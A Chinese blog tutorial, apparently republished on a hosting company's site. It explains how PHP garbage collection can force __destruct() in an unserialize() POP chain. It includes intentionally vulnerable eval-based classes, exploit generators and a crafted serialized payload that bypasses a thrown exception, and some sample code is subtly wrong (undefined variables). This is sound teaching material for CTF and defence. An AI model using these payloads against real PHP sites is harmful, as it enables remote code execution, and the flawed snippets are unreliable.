溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

PHP中GC回收機制如何利用

發(fā)布時間:2022-03-30 15:17:39 來源:億速云 閱讀:377 作者:iii 欄目:開發(fā)技術

這篇文章主要介紹“PHP中GC回收機制如何利用”的相關知識,小編通過實際案例向大家展示操作過程,操作方法簡單快捷,實用性強,希望這篇“PHP中GC回收機制如何利用”文章能幫助大家解決問題。

簡單鋪墊

先看看這個簡單的序列化,一定要先思考再看后面的答案

<?php
highlight_file(__FILE__);
 
class errorr{
public $rce;
public function __destruct(){
 
        eval($rce);
}
}
 
$a = $_GET["a"];
unserialize($a);
?>

很簡單的一個反序列化,想辦法控制$rce這個變量就可以達到命令執(zhí)行的目的。

構造exp

<?php
class errorr{
public $rce = "phpinfo();";
}
 
$a = new errorr();
echo urlencode(serialize($a));
?>

如果你看完了我之前寫的序列化與反序列化基礎篇就只能說這個是非常簡單了。

PHP中GC回收機制如何利用

這里是因為可以用到__destruct()方法

<?php
highlight_file(__FILE__);
class errorr{
public $rce;
public function __destruct(){
        eval($rce);
}
}
 
$a = $_GET["a"];
unserialize($a);
throw new Exception("???");
?>

 如果是這樣的話呢?不會的話也不用著急搞懂,我們后面慢慢說。

初識GC

PHP Garbage Collection簡稱GC,又名垃圾回收,在PHP中使用引用計數(shù)和回收周期來自動管理內存對象的。

垃圾,顧名思義就是一些沒有用的東西。在這里指的是一些數(shù)據(jù)或者說是變量在進行某些操作后被置為空(NULL)或者是沒有地址(指針)的指向,這種數(shù)據(jù)一旦被當作垃圾回收后就相當于把一個程序的結尾給劃上了句號,那么就不會出現(xiàn)無法調用__destruct()方法了。想知道原理細節(jié)的小伙伴可以直接看PHP官方的解答:PHP: 回收周期(Collecting Cycles) - Manual

PHP中GC回收機制如何利用

 那接下來就演示用代碼演示GC的實際工作。

<?php
highlight_file(__FILE__);
error_reporting(0);
class errorr{
public $num;
public function __construct($num)
{
    $this->num = $num;
    echo $this->num."__construct"."</br>";
}
public function __destruct(){
        echo $this->num."__destruct()"."</br>";
}
}
 
new errorr(1);
$a = new errorr(2);
$b = new errorr(3);
?>

可以猜一猜結果會是什么。

PHP中GC回收機制如何利用

謝謝有被吃驚到(雖然我是已經知道結果的),new了一個errorr對象,屁股還沒坐熱就__destruct()了。后面的兩個對象則是按部就班先創(chuàng)建完沒有操作了以后才結束的。區(qū)別就在于對象1沒有任何引用也沒有指向,在創(chuàng)建的那一刻就被當作垃圾回收了,從而觸發(fā)了__destruct()方法。

如果沒有指向可以,那如過在指向一個對象的中途忽然指向另一個,也就是舍棄了該對象又會怎么樣。

<?php
highlight_file(__FILE__);
error_reporting(0);
class errorr{
public $num;
public function __construct($num)
{
    $this->num = $num;
    echo $this->num."__construct"."</br>";
}
public function __destruct(){
        echo $this->num."__destruct()"."</br>";
}
}
 
$c = array(new errorr(1),0);
$c[0] = $c[1];
$a = new errorr(2);
$b = new errorr(3);
?>

PHP中GC回收機制如何利用

意料之中。

如果注銷$c[0] = $c[1]呢?

PHP中GC回收機制如何利用

可以看到,正常創(chuàng)建,最后銷毀的。 

小試牛刀

既然知道如何利用GC了,那就看一個例題。

<?php
highlight_file(__FILE__);
error_reporting(0);
class errorr0{
public $num;
public function __destruct(){
        echo "hello __destruct";
        echo $this->num;
    }
}
class errorr1{
    public $err;
    public function __toString()
    {
        echo "hello __toString";
        $this->err->flag();
    }
}
 
class errorr2{
    public $err;
    public function flag()
    {
        echo "hello __flag()";
        eval($this->err);
    }
}
 
$a=unserialize($_GET['url']);
throw new Exception("就這?");
 
?>

自己胡思亂想出來的題目,太簡單也不要罵我哈哈哈??赡苓@個throw new Exception();有點突兀,這其實就是阻止__destruct()執(zhí)行的拋錯,學過java或者python的小伙伴應該知道。

這也算一個pop鏈子吧,先分析目的函數(shù),看來看去就是errorr2::flag(),往前推就是errorr1::__toString()會觸發(fā)這個函數(shù),而errorr0::__destruct()會觸發(fā)toString,思路理清就把鏈子構造出來為:首端 --> errorr0::__destruct() --> errorr1::__toString() --> errorr2::flag() -->尾巴。

exp為:

<?php
error_reporting(0);
class errorr0{
	public $num;
	public function __construct()
	{
		$this->num = new errorr1();
	}
 
}
class errorr1{
    public $err;
	public function __construct()
	{
		$this->err = new errorr2();
	}
}
 
class errorr2{
    public $err = "phpinfo();";
}
 
$a = new errorr0();
echo serialize($c);
?>

這個exp的構造有許多方法的,根據(jù)自己喜好來,不必和我一樣。

這就完了?或許有人迷惑了,如果完了那前面我說的都是在放屁,和pop沒區(qū)別,所以當然還沒完。如果沒有這句throw new Exception();就真的構造完了,但是有的話__destruct()是不會執(zhí)行的,而__destruct()不執(zhí)行這條鏈子根本就是堵死的,沒啥用。

重點來了,根據(jù)之前說的GC回收機制可以把一段數(shù)據(jù)當做垃圾回收,那不就可以執(zhí)行__destruct(),然后就有一個問題-------如何觸發(fā)GC回收機制???!還記得,之前舉過的例子嗎?如過沒有如何東西指向一個對象,那個對象就會被當作垃圾回收。所以,我們先看修改后的exp

<?php
error_reporting(0);
class errorr0{
	public $num;
	public function __construct()
	{
		$this->num = new errorr1();
	}
 
}
class errorr1{
    public $err;
	public function __construct()
	{
		$this->err = new errorr2();
	}
}
 
class errorr2{
    public $err = "phpinfo();";
}
 
$a = new errorr0();
$c = array(0=>$a,1=>NULL);
echo serialize($c);
?>

可以看出來,就加了一行代碼,就是

$c = array(0=>$a,1=>NULL);

把目標對象賦給鍵為0,鍵為1賦值為NULL。為什么要這么做,因為這樣操作后,得到的字符串為:

a:2:{i:0;O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}i:1;N;}

可以自己試試。解釋一下這串字符。

第一個a為數(shù)組,2為數(shù)組中鍵有兩個 i = 0以及 i = 1

重點重點重點,雖然有兩個鍵i = 0對應的是我們目標對象,i = 1NULL,如果這個時候我們做一件壞事,把i 本應該等于 1修改為 i = 0。那不就是把i = 0指向NULL了嗎?然后就實現(xiàn)了GC回收。所以最后我們修改后的字符串為:

a:2:{i:0;O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}i:0;N;}

PHP中GC回收機制如何利用

關于“PHP中GC回收機制如何利用”的內容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業(yè)相關的知識,可以關注億速云行業(yè)資訊頻道,小編每天都會為大家更新不同的知識點。

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經查實,將立刻刪除涉嫌侵權內容。

AI